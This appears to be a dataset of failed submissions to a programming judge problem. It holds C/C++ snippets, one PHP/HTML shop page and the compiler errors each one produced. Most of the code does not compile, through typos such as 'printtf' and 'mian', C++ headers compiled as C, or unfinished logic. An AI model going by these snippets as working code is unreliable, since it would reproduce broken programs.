#include<cstdio> #include<iostream> #include<algorthm> #include<cmath> #include<cstring> #include<queue> #include<stack> #include<string> using namespace std; const int N=55; const double eps=1e-6; double a[N][N],double x[N]; inline int sig(double x) {return (x>eps)-(x<-eps);} int gauss() { int row,col; for(row=col=0;row<equ&&col<var;++row,++col) { int mx_r=row; for(int i=row+1;i<equ;i++) if(fabs(a[mx_r][col])<fabs(a[i][col])) mx_r=i; if(sig(a[mx_r][col])==0) { --row; continue; } if(mx_r!=row) for(int j=col;j<=var;++j) swap(a[row][j],a[mx_r][j]); for(int j=var;j>=col;--j) { a[row][j]/=a[row][col]; for(int i=row+1;i<=euq;++i) a[i][j]-=a[row][j]*a[i][col]; } } for(int i=row;i<equ;++i) if(sig(a[i][var])) return -1; if(row<var) return var-row; for(int i=row-1;i>=0;--i) { x[i]=a[i][var]; for(int j=i+1;j<var;++j) x[i]-=a[i][j]*x[j]; } return 0; } inr main() { return 0; }
main.c:1:9: fatal error: cstdio: No such file or directory 1 | #include<cstdio> | ^~~~~~~~ compilation terminated.
s710822942
p00000
C
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<iostream> #include<math.h> #include<vector> #include<queue> #include<set> #include<string> #include<map> #include<stack> #define op operator #define db double #define cp const Point& #define rt return #define cn const #define INF 1e-18 using namespace std; double const eps=1e-10; double const PI=acos(-1); int sig(double x) {return (x>eps)-(x<-eps);} struct Point { double x,y,z; Point(db a=0,db b=0,db c=0):x(a),y(b),z(c){} Point op - (cp a) cn{rt Point(x-a.x,y-a.y,z-a.z);} double op *(cp a) cn{rt x*a.x+y*a.y+z*a.z;} double dis(Point b) { return sqrt((x-b.x)*(x-b.x) + (y-b.y)*(y-b.y) + (z-b.z)*(z-b.z)); } double dis() { return sqrt(x*x + y*y + z*z); } }; struct cicrl { Point p; double r; }c[2100]; bool judge(cicrl c,Point a,Point b) { Point v1,v2,v3,v4; v1=b-a; v2=c.p-a; v3=a-b; v4=c.p-b; double u1,u2; u1=( v1*v2 )/(v1.dis() * v2.dis()); u2=(v3*v4)/(v3.dis() * v4.dis()); double ans=INF; if(sig(u1) >0 || sig(u2) >0 ) ans=min(c.p.dis(a), c.p.dis(b) ); else ans= u1* v1.dis(); if(sig(ans-c.r)<0) return false; else return true; } Point h[20]; double g[20]; int main() { int n,m,r; Point q; while(scanf("%d%d%d",&n,&m,&r)!=EOF) { for(int i=0;i<n;i++) { scanf("%lf%lf%lf%lf",&c[i].p.x,&c[i].p.y,&c[i].p.z, &c[i].r); } for(int i=0;i<m;i++) { scanf("%lf%lf%lf%lf",&h[i].x,&h[i].y,&h[i].z,&g[i]); } scanf("%lf%lf%lf",&q.x,&q.y,&q.z); } return 0; }
main.c:4:9: fatal error: iostream: No such file or directory 4 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s748605113
p00000
C
#include<stdio.h> int main(){ int a, b, c; for(a = 1;a <= 9;a++){ for(b = 1;b <= 9;b++){ c = a * b; printtf("%d×%d=%d\n",a,b,c); } } return 0; }
main.c: In function 'main': main.c:8:5: error: implicit declaration of function 'printtf'; did you mean 'printf'? [-Wimplicit-function-declaration] 8 | printtf("%d×%d=%d\n",a,b,c); | ^~~~~~~ | printf
s176752515
p00000
C
m;main(n){for(;++m<10||m=1,n++<10;)printf("%dx%d=%d\n",n,m,n*m);}
main.c:1:1: warning: data definition has no type or storage class 1 | m;main(n){for(;++m<10||m=1,n++<10;)printf("%dx%d=%d\n",n,m,n*m);} | ^ main.c:1:1: error: type defaults to 'int' in declaration of 'm' [-Wimplicit-int] main.c:1:3: error: return type defaults to 'int' [-Wimplicit-int] 1 | m;main(n){for(;++m<10||m=1,n++<10;)printf("%dx%d=%d\n",n,m,n*m);} | ^~~~ main.c: In function 'main': main.c:1:3: error: type of 'n' defaults to 'int' [-Wimplicit-int] main.c:1:25: error: lvalue required as left operand of assignment 1 | m;main(n){for(;++m<10||m=1,n++<10;)printf("%dx%d=%d\n",n,m,n*m);} | ^ main.c:1:36: error: implicit declaration of function 'printf' [-Wimplicit-function-declaration] 1 | m;main(n){for(;++m<10||m=1,n++<10;)printf("%dx%d=%d\n",n,m,n*m);} | ^~~~~~ main.c:1:1: note: include '<stdio.h>' or provide a declaration of 'printf' +++ |+#include <stdio.h> 1 | m;main(n){for(;++m<10||m=1,n++<10;)printf("%dx%d=%d\n",n,m,n*m);} main.c:1:36: warning: incompatible implicit declaration of built-in function 'printf' [-Wbuiltin-declaration-mismatch] 1 | m;main(n){for(;++m<10||m=1,n++<10;)printf("%dx%d=%d\n",n,m,n*m);} | ^~~~~~ main.c:1:36: note: include '<stdio.h>' or provide a declaration of 'printf'
s944092040
p00000
C
#include <iostream> #include <cstdio> #include <cstdlib> #include <cstring> #include <cmath> #include <algorithm> #include <string> #include <vector> #include <map> #include <queue> #include <set> #include <sstream> #define DBLE 1e-8 #define PI 3.1415926535898 #define INF 1000000000 #define MAXN 1024 #define MOD 1000000009 #define MP(x,y) make_pair((x),(y)) using namespace std; char str[MAXN][MAXN]; int len[MAXN][MAXN]; int tree[MAXN]; bool visit[MAXN]; map<int,int> ma; int n,m; void cal(int h) { int tmp; for(int i=0;i<n;++i) { zero(1,0,MAXN-1,len[i][h]+1,MAXN); tmp=mfind(1,0,MAXN-1,0,len[i][h]); //++ma[max(tmp+2*(i+1),2+2*len[i][h])]; } } int main() { int ncase; scanf("%d",&ncase); while(ncase--) { scanf("%d%d",&n,&m); ma.clear(); memset(len,0,sizeof(len)); for(int i=0;i<n;++i) scanf("%s",str[i]); for(int i=0;i<n;++i) for(int j=m-1;>=0;--j) if(str[i][j]=='.') len[j]=len[j+1]+1; else len[j]=0; for(int i=0;i<m;++i) { memset(tree,0,sizeof(tree)); cal(i); } for(map<int,int>::iterator ite=ma.begin();ite!=ma.end();++ite) printf("%d x %d\n",ite->second,ite->first); } return 0; }
main.c:1:10: fatal error: iostream: No such file or directory 1 | #include <iostream> | ^~~~~~~~~~ compilation terminated.
s789052343
p00000
C
#include <stdio.h> int main() { do{ int ax ,ay; ax=1 ; ay=1 ; do{ printf("%dx%d=$d\n", ax,ay,ax*ay); ay=ay+1 ; } while (ay==10); ax=ax+1 ; } while (ax==10); return(0); }
main.c: In function 'main': main.c:14:10: error: 'ax' undeclared (first use in this function) 14 | } while (ax==10); | ^~ main.c:14:10: note: each undeclared identifier is reported only once for each function it appears in
s453285674
p00000
C
#include<stdio.h> #include<stdlib.h> #include<math.h> #include<string.h> #include<algorithm> #include<string> #include<sstream> #include<set> #include<map> #include<vector> #include<queue> #include<iostream> #include<time.h> #define forn(i,n) for(int i=0;i<n;i++) #define clr(a,b) memset(a,b,sizeof(a)) //#define ll long long #define ll long long #define lowb(i) (i&(-i)) #define bug(n,m,x) forn(i,n){forn(j,m)printf("%d ",x[i][j]);puts("");}puts("") #define sqr(x) ((x)*(x)) using namespace std; const int inf=1<<30; const double eps=1e-8; const double pi=acos(-1.0); //const double inf = 1e10; int index,idx,len; char buf[10000000]; map <string,string> mapa; bool readword() { while(buf[idx]==' '||buf[idx]=='\n'||buf[idx]=='\t'||buf[idx]=='\r')idx++; if(idx>=len)return false; if(buf[idx]>='A'&&buf[idx]<='Z'||buf[idx]>='a'&&buf[idx]<='z'){ char a[100]={0}; int l=0; do{ a[l++]=buf[idx]; if(idx<len)idx++; }while(buf[idx]>='A'&&buf[idx]<='Z'||buf[idx]>='a'&&buf[idx]<='z'||buf[idx]>='0'&&buf[idx]<='9'||buf[idx]=='_'); char b[100]; if(mapa.find(a)==mapa.end())strcpy(b,"ident"); else strcpy(b,mapa[a].c_str()); printf("%-4d%-10s%-10s\n",index++,a,b); } else if(buf[idx]>='0'&&buf[idx]<='9'||buf[idx]=='.'&&idx!=len-1){ char a[100]={0}; int flag=(buf[idx]=='.'); int l=0; do{ a[l++]=buf[idx]; if(idx<len)idx++; if(buf[idx]=='.'){ if(idx==len-1){ printf("%-4d%-10s%-20s%-10s\n",index++,a,"number",a); printf("%-4d%-10s%-10s\n",index++,".",mapa["."].c_str()); return false; } if(flag)return false; if(idx<len)idx++; if(buf[idx]>='0'&&buf[idx]<='9')a[l++]='.'; else if(buf[idx]==' '||buf[idx]=='\n'||buf[idx]=='\t'||buf[idx]=='\r'){ printf("%-4d%-10s%-20s%-10s\n",index++,a,"number",a); return true; } else return false; } }while(buf[idx]>='0'&&buf[idx]<='9'); if(buf[idx]==' '||buf[idx]=='\n'||buf[idx]=='\t'||buf[idx]=='\r'|| buf[idx]=='+'||buf[idx]=='-'||buf[idx]=='*'||buf[idx]=='/'|| buf[idx]==','||buf[idx]==';'||buf[idx]=='#'||buf[idx]=='='){ printf("%-4d%-10s%-20s%-10s\n",index++,a,"number",a); }else return false; } else if(buf[idx]==','||buf[idx]==';'||buf[idx]=='+'||buf[idx]=='-'||buf[idx]=='*'||buf[idx]=='/'|| buf[idx]=='('||buf[idx]==')'||buf[idx]=='#'){ printf("%-4d%-10c%-10s\n",index++,buf[idx],mapa[string(&buf[idx],&buf[idx+1])].c_str()); idx++; } else if(buf[idx]==':'&&buf[idx+1]=='='){ printf("%-4d%c%-9c%-10s\n",index++,buf[idx],buf[idx+1],mapa[string(&buf[idx],&buf[idx+2])].c_str()); idx+=2; } else if(buf[idx]=='>'||buf[idx]=='<'){ if(buf[idx+1]=='='){ printf("%-4d%c%-9c%-10s\n",index++,buf[idx],buf[idx+1],mapa[string(&buf[idx],&buf[idx+2])].c_str()); idx+=2; } else{ printf("%-4d%-10c%-10s\n",index++,buf[idx],mapa[string(&buf[idx],&buf[idx+1])].c_str()); idx++; } } else if(buf[idx]=='='&&buf[idx+1]=='='){ printf("%-4d%c%-9c%-10s\n",index++,buf[idx],buf[idx+1],mapa[string(&buf[idx],&buf[idx+2])].c_str()); idx+=2; } else if(buf[idx]=='.'&&idx==len-1){ printf("%-4d%-10c%-10s\n",index++,buf[idx],mapa[string(&buf[idx],&buf[idx+1])].c_str()); idx++; } else return false; return true; } void init() { mapa[","]="comma"; mapa[";"]="Semicolon"; mapa["+"]="plus"; mapa["-"]="minus"; mapa["*"]="times"; mapa["/"]="slash"; mapa["("]="lparen"; mapa[")"]="rparen"; mapa["=="]="eql"; mapa[":="]="assign"; mapa[">="]="greateroreql"; mapa["<="]="lessoreql"; mapa[">"]="greater"; mapa["<"]="less"; mapa["."]="period"; mapa["#"]="neq"; mapa["begin"]="begin"; mapa["call"]="call"; mapa["const"]="const"; mapa["do"]="do"; mapa["end"]="end"; mapa["if"]="if"; mapa["odd"]="odd"; mapa["procedure"]="procedure"; mapa["read"]="read"; mapa["then"]="then"; mapa["var"]="var"; mapa["while"]="while"; mapa["write"]="write"; idx=0; } void morpheme_analysis() { init(); puts("\n======================================="); while(readword()); puts("\n======================================="); } int main() { freopen("D:\\in.txt","r",stdin); while((buf[len++]=getchar())!=EOF); puts(buf); for(int i=len-1;i>=0;i--)if(buf[i]==' '||buf[i]=='\n'||buf[i]=='\t'||buf[i]=='\r'||buf[i]==EOF); else { len=i+1;break; } morpheme_analysis(); return 0; }
main.c:5:9: fatal error: algorithm: No such file or directory 5 | #include<algorithm> | ^~~~~~~~~~~ compilation terminated.
s541732376
p00000
C
#include<stdio.h> int mian() { printf("1x1=1\n"); printf("1x2=2\n"); printf(".\n"); printf(".\n"); printf("9x8=72\n"); printf("9x9=81\n"); }
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/Scrt1.o: in function `_start': (.text+0x17): undefined reference to `main' collect2: error: ld returned 1 exit status
s021775410
p00000
C
#include<iostream> #include<algorithm> #include<cstdio> #include<cstring> #include<string> #include<cmath> #include<queue> #include<map> using namespace std; #define M 100017 #define inf 0x3f3f3f3f #define ll long long char s[110000]; int a[11][26],ans,l[11],all[26]; int n; bool check() { int tmp[26]={0}; for (int i=1;i<=n;i++) if (l[i]) for (int j=0;j<=25;j++) tmp[j]+=a[i][j]; for (int i=0;i<=25;i++) if (tmp[i]>all[i]) return 0; return 1; } void dfs(int deep,int cnt) { if (deep>n) { if (check()) ans=max(ans,cnt); return; } l[deep]=1; dfs(deep+1,cnt+1); l[deep]=0; dfs(deep+1,cnt); } int main() { int t,cnt=0; scanf("%d",&t); while (t--) { memset(a,0,sizeof(a)); memset(all,0,sizeof(all)); scanf("%s",&s); for (int i=0;i<strlen(s);i++) all[s[i]-'a']++; scanf("%d",&n); for (int i=1;i<=n;i++) { scanf("%s",&s); for (int j=0;j<strlen(s);j++) a[i][s[j]-'a']++; } ans=0; dfs(1,0); printf("Case #%d: %d\n",++cnt,ans); } }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s902825705
p00000
C
#include <stdio.h> #include <string.h> #include <queue> #include <math.h> #include <vector> #include <iostream> #include <algorithm> #include <time.h> #include <map> #include <string> #include <set> using namespace std; #define ll int #define cons(x,y) x##e##y #define sqr(x) (x)*(x) const double eps=1e-8; const double pi=acos(-1.0); int sig(double x){return x<-eps?-1:x>eps;} const int N=cons(1,6)+100; const int inf=0x3f3f3f3f; int r,c,m; int mi[N<<2],ma[N<<2],sum[N<<2],add[N<<2]; void pushup(int rt) { mi[rt]=min(mi[rt<<1],mi[rt<<1|1]); ma[rt]=max(ma[rt<<1],ma[rt<<1|1]); sum[rt]=sum[rt<<1]+sum[rt<<1|1]; } void pushdown(int rt,int m) { if (add[rt]) { mi[rt<<1]+=add[rt];mi[rt<<1|1]+=add[rt]; ma[rt<<1]+=add[rt];ma[rt<<1|1]+=add[rt]; sum[rt<<1]+=add[rt]*(m>>1); sum[rt<<1|1]+=add[rt]*(m-m>>1); add[rt]=0; } } void build(int l,int r,int rt) { add[rt]=0; if(l==r) { mi[rt]=ma[rt]=sum[rt]=0; return; } int m=(l+r)>>2; build(l,m,rt<<1); build(m+1,r,rt<<1|1); pushup(rt); } void update(ll L,ll R,ll c,ll l,ll r,ll rt) { if( L<=l && r<=R ) { add[rt]+=c; mi[rt]+=c;ma[rt]+=c; sum[rt]+=c*(r-l+1); return; } pushdown(rt,r-l+1); ll m=(l+r)/2; if(L<=m) update(L,R,c,l,m,rt<<1); if(R>m) update(L,R,c,m+1,r,rt<<1|1); pushup(rt); } void sett(ll L,ll R,ll c,ll l,ll r,ll rt) { if( L<=l && r<=R ) { add[rt]=c; mi[rt]=c;ma[rt]=c; sum[rt]=c*(r-l+1); return; } pushdown(rt,r-l+1); ll m=(l+r)/2; if(L<=m) sett(L,R,c,l,m,rt<<1); if(R>m) sett(L,R,c,m+1,r,rt<<1|1); pushup(rt); } struct nd { int s,ma,mi; }; nd query(int L,int R,int l,int r,int rt) { nd ret={0,0,inf}; if(L<=l&&r<=R) { return ret={sum[rt],ma[rt],mi[rt]}; } int m=(l+r)>>1; if(L<=m) { nd pp=query(L,R,l,m,rt<<1); ret.s+=pp.s; ret.ma=max(ret.ma,pp.ma); ret.mi=min(ret.mi,pp.mi); } if(R>m) { nd qq=query(L,R,m+1,r,rt<<1|1); ret.s+=qq.s; ret.ma=max(ret.ma,qq.ma); ret.mi=min(ret.mi,qq.mi); } return ret; } void solve(int T,int op) { if(op)swap(r,c); int x[2],y[2],v,k; while(T--) { int num=r*c-1; build(0,num,1); scanf("%d",&k); scanf("%d%d%d%d",&x[op],&x[1^op],&y[op],&y[1^op]); x[0]--;x[1]--;y[0]--;y[1]--; if (k==1) { scanf("%d",&v); for(int i=x[0];i<=y[0];++i) { update(i*c+x[1],i*c+y[1],v,0,num,1); } } else if(k==2) { scanf("%d",&v); for(int i=x[0];i<=y[0];++i) { sett(i*c+x[1],i*c+y[1],v,0,num,1); } } else { int su=0,m1=0,m2=inf; for(int i=x[0];i<=y[0];++i) { nd pp=query(i*c+x[1],i*c+y[1],0,num,1); su+=pp.s; m1=max(m1,pp.ma); m2=min(m2,pp.mi); } printf("%d %d %d\n",su,m2,m1); } } } int main(int argc, char *argv[]) { freopen("in","r",stdin); while(~scanf("%d%d%d",&r,&c,&m)) { if(r<c)solve(m,0); else solve(m,1); } return 0; }
main.c:3:10: fatal error: queue: No such file or directory 3 | #include <queue> | ^~~~~~~ compilation terminated.
s462021399
p00000
C
#include <stdio.h> #include <string.h> #include <queue> #include <math.h> #include <vector> #include <iostream> #include <algorithm> #include <time.h> #include <map> #include <string> #include <set> using namespace std; #define ll int #define cons(x,y) x##e##y #define sqr(x) (x)*(x) const double eps=1e-8; const double pi=acos(-1.0); int sig(double x){return x<-eps?-1:x>eps;} const int N=cons(1,6)+100; const int inf=0x3f3f3f3f; int r,c,m; int mi[N<<2],ma[N<<2],sum[N<<2],add[N<<2],f[N<<2]; void pushup(int rt) { mi[rt]=min(mi[rt<<1],mi[rt<<1|1]); ma[rt]=max(ma[rt<<1],ma[rt<<1|1]); sum[rt]=sum[rt<<1]+sum[rt<<1|1]; } void pushdown(int rt,int m) { // if(~f[rt]) // { // mi[rt<<1]=f[rt];mi[rt<<1|1]=f[rt]; // ma[rt<<1]=f[rt];ma[rt<<1|1]=f[rt]; // sum[rt<<1]=f[rt]*(m-m>>1); // sum[rt<<1|1]=add[rt]*(m>>1); // add[rt]=f[rt<<1|1]=f[rt<<1]=f[rt]; // f[rt]=-1; // } if (add[rt]) { mi[rt<<1]+=add[rt];mi[rt<<1|1]+=add[rt]; ma[rt<<1]+=add[rt];ma[rt<<1|1]+=add[rt]; sum[rt<<1]+=add[rt]*(m-m>>1); sum[rt<<1|1]+=add[rt]*(m>>1); add[rt]=0; } } void build(int l,int r,int rt) { add[rt]=0;f[rt]=-1; if(l==r) { mi[rt]=ma[rt]=sum[rt]=0; return; } int m=(l+r)>>1; build(l,m,rt<<1); build(m+1,r,rt<<1|1); pushup(rt); } void update(ll L,ll R,ll c,ll l,ll r,ll rt) { if( L<=l && r<=R ) { add[rt]+=c; mi[rt]+=c;ma[rt]+=c; sum[rt]+=c*(r-l+1); return; } pushdown(rt,r-l+1); ll m=(l+r)/2; if(L<=m) update(L,R,c,l,m,rt<<1); if(R>m) update(L,R,c,m+1,r,rt<<1|1); pushup(rt); } void sett(ll L,ll R,ll c,ll l,ll r,ll rt) { if( L<=l && r<=R ) { add[rt]=0;f[rt]=c; mi[rt]=c;ma[rt]=c; sum[rt]=c*(r-l+1); return; } pushdown(rt,r-l+1); ll m=(l+r)/2; if(L<=m) sett(L,R,c,l,m,rt<<1); if(R>m) sett(L,R,c,m+1,r,rt<<1|1); pushup(rt); } struct nd { int s,ma,mi; }; nd query(int L,int R,int l,int r,int rt) { nd ret={0,0,inf}; if(L<=l&&r<=R) { return ret={sum[rt],ma[rt],mi[rt]}; } int m=(l+r)>>1; pushdown(rt,r-l+1); if(L<=m) { nd pp=query(L,R,l,m,rt<<1); ret.s+=pp.s; ret.ma=max(ret.ma,pp.ma); ret.mi=min(ret.mi,pp.mi); } if(R>m) { nd qq=query(L,R,m+1,r,rt<<1|1); ret.s+=qq.s; ret.ma=max(ret.ma,qq.ma); ret.mi=min(ret.mi,qq.mi); } return ret; } void solve(int T,int op) { if(op)swap(r,c); int x[2],y[2],v,k; int num=r*c-1; build(0,num,1); while(T--) { scanf("%d",&k); scanf("%d%d%d%d",&x[op],&x[1^op],&y[op],&y[1^op]); x[0]--;x[1]--;y[0]--;y[1]--; if (k==1) { scanf("%d",&v); for(int i=x[0];i<=y[0];++i) { update(i*c+x[1],i*c+y[1],v,0,num,1); } } else if(k==2) { scanf("%d",&v); for(int i=x[0];i<=y[0];++i) { sett(i*c+x[1],i*c+y[1],v,0,num,1); } } else { int su=0,m1=0,m2=inf; for(int i=x[0];i<=y[0];++i) { nd pp=query(i*c+x[1],i*c+y[1],0,num,1); su+=pp.s; m1=max(m1,pp.ma); m2=min(m2,pp.mi); } printf("%d %d %d\n",su,m2,m1); } } } int main(int argc, char *argv[]) { freopen("in.txt","r",stdin); while(~scanf("%d%d%d",&r,&c,&m)) { if(r<=c)solve(m,0); else solve(m,1); } return 0; }
main.c:3:10: fatal error: queue: No such file or directory 3 | #include <queue> | ^~~~~~~ compilation terminated.
s302441371
p00000
C
#include <stdio.h> #include <string.h> #include <algorithm> #define clr(x, y) memset(x, y, sizeof(x)) #define ll __int64 using namespace std; int a[200],b[200]; char sz[500010]; char c; int main(){ #ifdef H403 freopen("d:\\in.txt","r",stdin); #endif while(~scanf("%c",&c)){ clr(a,0); a[c]++; int cnt1=1; while((c=getchar())!='\n'){ if(c==' '){ scanf("%c",&c); a[c]++; cnt1++; } } scanf("%c",&c);sz[0]=c; int cnt2=1; while((c=getchar())!='\n') if(c==' ') sz[cnt2++]=getchar(); if(cnt1>cnt2){ puts("0"); continue; } int tmp=0,ans=0;clr(b,0); for(int i=0;i<cnt1;i++) b[sz[i]]++; for(int i=33;i<123;i++) if(a[i]==b[i]) tmp++; if(tmp==90) ans++; for(int i=0,j=cnt1;j<cnt2;i++,j++) { if(a[sz[i]]==b[sz[i]]) tmp--; b[sz[i]]--; if(a[sz[i]]==b[sz[i]]) tmp++; if(a[sz[j]]==b[sz[j]]) tmp--; b[sz[j]]++; if(a[sz[j]]==b[sz[j]]) tmp++; if(tmp==90) ans++; } printf("%d\n",ans); } return 0; }
main.c:3:10: fatal error: algorithm: No such file or directory 3 | #include <algorithm> | ^~~~~~~~~~~ compilation terminated.
s143504533
p00000
C
#include <stdio.h> #include <math.h> #include <string.h> #include <algorithm> #include <map> #define sqr(x) ((x)*(x)) #define clr(x, y) memset(x, y, sizeof(x)) #define forn(i, n) for(int i=0; i<n; i++) #define ll __int64 using namespace std; const double INF=1e50; int n; map<pair<int,int> ,int > ma; map<pair<int,int> ,int >::iterator it; int solv(double x){ return (int)(x*1000+100000.3)%1000;; } double calc(int x,int y){ double ret=INF; ret=min(ret,sqrt(1.0*sqr(x)+sqr(y))/1000); ret=min(ret,sqrt(1.0*sqr(x-1000)+sqr(y))/1000); ret=min(ret,sqrt(1.0*sqr(x)+sqr(y-1000))/1000); ret=min(ret,sqrt(1.0*sqr(x-1000)+sqr(y-1000))/1000); return ret; } int main(){ #ifdef H403 freopen("c:\\in.txt","r",stdin); #endif while(~scanf("%d",&n)){ int ans=0; double dis=INF; ma.clear(); for(int i=1;i<=n;i++){ double x,y; scanf("%lf%lf",&x,&y); int xx,yy; xx=solv(x);yy=solv(y); if(ma.find(make_pair(xx,yy))==ma.end()) ma[make_pair(xx,yy)]=1; else ma[make_pair(xx,yy)]++; } for(it=ma.begin();it!=ma.end();it++){ int tmp=it->second; if(ans<=tmp){ ans=tmp; dis=min(dis,calc(it->first.first,it->first.second)); } } printf("%d %.8lf\n",ans,dis); } return 0; }
main.c:4:10: fatal error: algorithm: No such file or directory 4 | #include <algorithm> | ^~~~~~~~~~~ compilation terminated.
s157844992
p00000
C
#include <stdio.h> #include <string.h> #include <algorithm> #define clr(x, y) memset(x, y, sizeof(x)) #define ll __int64 #define inf 1e18 using namespace std; int t; double a,b,c; const double EPS=1e-10; double MIN=1, MAX=inf; double cal(double k) { double s=(a*k*k-a*k+b*k)*(a*k*k-a*k+b*k)-4*a*(k*(k-1)*b/2+k*c+a*(2*k-1)*k*(k-1)/6); return s; } double solve() { double left=MIN,right=MAX; double mid1,mid2; while(left+EPS<right) { mid1=left+(right-left)*0.381966; mid2=left+(right-left)*0.618034; if(cal(mid1)<cal(mid2)) right=mid2; //豎よ栫蟆丞? // if(cal(mid1)>cal(mid2)) right=mid2; //豎よ栫螟ァ蛟シ else left=mid1; } return left; } int main() { scanf("%d",&t); while(t--) { scanf("%lf %lf %lf",&a,&b,&c); printf("%lf\n",solve()); } }
main.c:3:10: fatal error: algorithm: No such file or directory 3 | #include <algorithm> | ^~~~~~~~~~~ compilation terminated.
s509736111
p00000
C
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <base href="<?php echo $this->config->item('base_url') ?>www/" /> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252" /> <title>Flower Shop</title> <link rel="stylesheet" type="text/css" href="style.css" /> </head> <body> <div id="wrap"> <div class="header"> <div class="logo"><a href="index.html"><img src="images/logo.gif" alt="" title="" border="0" /></a></div> <div id="menu"> <ul> <li class="selected"><a href="http://localhost/C4/index.php/Admin/admin">Home</a></li> <li><a href="http://localhost/C4/index.php/Admin/product">Products</a></li> <li><a href="http://localhost/C4/index.php/Admin/purchase">Purchase</a></li> <li><a href="http://localhost/C4/index.php/Admin/order">Orders</a></li> <li><a href="http://localhost/C4/index.php/Admin/customer_list">Customer</a></li> <li><a href="http://localhost/C4/index.php/Admin/profit">Profit</a></li> <li><a href="http://localhost/C4/index.php/Search/search">Search</a></li> <li><a href="http://localhost/C4/index.php/home">Logout</a></li> </ul> </div> </div> <?php //echo validation_errors(); echo form_open("Customer/generate1"); ?> <div class="center_content"> <div class="left_content"> <div class="title"><span class="title_icon"><img src="images/bullet1.gif" alt="" title="" /></span>Generate Scratch Card:</div> <div class="feat_prod_box_details"> <p class="details"> </p> <div class="contact_form"> <div class="form_subtitle">Generate scratch card:</div> <form name="register" action="http://localhost/C4/index.php/Customer/generate1" method="post"> <div class="form_row"> <label class="contact"><strong>Number:</strong></label> <input type="text" name="num" class="contact_input" /> </div> <div class="form_row"> <label class="contact"><strong>Amount:</strong></label> <input type="text" name="amount" class="contact_input" /> </div> <div class="form_row"> <input type="submit" class="register" value="generate" /> </div> </form> </div> </div> <div class="clear"></div> </div><!--end of left content--> <div class="right_content"> <div class="cart"> </div> <div class="title"><span class="title_icon"><img src="images/bullet3.gif" alt="" title="" /></span>About Our Shop</div> <div class="about"> <p> <img src="images/about.gif" alt="" title="" class="right" /> This is an online shopping store from which you can buy any thing you want. Enjoy shopping here. </p> </div> <div class="right_box"> </div> <div class="right_box"> <div class="title"><span class="title_icon"><img src="images/bullet5.gif" alt="" title="" /></span>Categories</div> <ul class="list"> <li><a href="#">Electronics</a></li> <li><a href="#">Dress</a></li> <li><a href="#">Jewelry</a></li> <li><a href="#">Accesories</a></li> <li><a href="#">Gifts</a></li> <li><a href="#">Sports</a></li> <li><a href="#">Shoes</a></li> <li><a href="#">Furniture</a></li> <li><a href="#">flower gifts</a></li> </ul> </div> </div><!--end of right content--> <div class="clear"></div> </div><!--end of center content--> <div class="footer"> <div class="left_footer"><img src="images/footer_logo.gif" alt="" title="" /><br /> <a href="http://csscreme.com/freecsstemplates/" title="free templates"><img src="images/csscreme.gif" alt="free templates" title="free templates" border="0" /></a></div> <div class="right_footer"> <a href="#">home</a> <a href="#">about us</a> <a href="#">services</a> <a href="#">privacy policy</a> <a href="#">contact us</a> </div> </div> </div> </body> </html>
main.c:1:1: error: expected identifier or '(' before '<' token 1 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | ^ main.c:34:25: error: expected identifier or '(' before '?' token 34 | ?> | ^
s632908611
p00000
C
#include <iostream> #include <cstdio> #include <cstring> using namespace std; typedef long long LL; const int N=22; const LL mod=1e9+7; struct node { int cnt; LL sum,sum2; node(){} node(int cnt,LL sum,LL sum2) : cnt(cnt),sum(sum),sum2(sum2) {} }dp[N][2][2][8][8]; LL pow_10[N]; char A[N],B[N]; bool vis[N][2][2][8][8]; void fun(char *str,LL valu) { for(int i=19;i>=0;i--) { str[i]=('0'+valu%10); valu/=10; } } node dfs(int ind,int u,int d,int md1,int md2) { if(ind==20) { if(md1!=0&&md2!=0) return node(1,0,0); else return node(0,0,0); } node &res=dp[ind][u][d][md1][md2]; if(vis[ind][u][d][md1][md2]) return res; vis[ind][u][d][md1][md2]=1; res=node(0,0,0); int st=u?0:A[ind]-'0'; int ed=d?9:B[ind]-'0'; for(int i=st;i<=ed;i++) if(i!=7) { bool flag1=u||i>st; bool flag2=d||i<ed; node tmp=dfs(ind+1,flag1,flag2,(md1*10+i)%7,(md2+i)%7); if(tmp.cnt==0) continue; LL valu=(i*pow_10[19-ind])%mod; res.cnt=(res.cnt+tmp.cnt)%mod; res.sum=(res.sum+tmp.sum+tmp.cnt*valu)%mod; res.sum2=( (res.sum2+tmp.sum2+2*(tmp.sum*valu)%mod)%mod + (tmp.cnt*(valu*valu)%mod)%mod)%mod; } return res; } int main() { freopen("4507.in","r",stdin); pow_10[0]=1; for(int i=1;i<N;i++) pow_10[i]=(pow_10[i-1]*10)%mod; int t; scanf("%d",&t); while(t--) { memset(A,0,sizeof(A)); memset(B,0,sizeof(B)); memset(vis,0,sizeof(vis)); LL a,b; cin>>a>>b; fun(A,a); fun(B,b); //printf("%s %s\n",A,B); LL ans=dfs(0,0,0,0,0).sum2; cout<<ans<<endl; } return 0; }
main.c:1:10: fatal error: iostream: No such file or directory 1 | #include <iostream> | ^~~~~~~~~~ compilation terminated.
s745337205
p00000
C
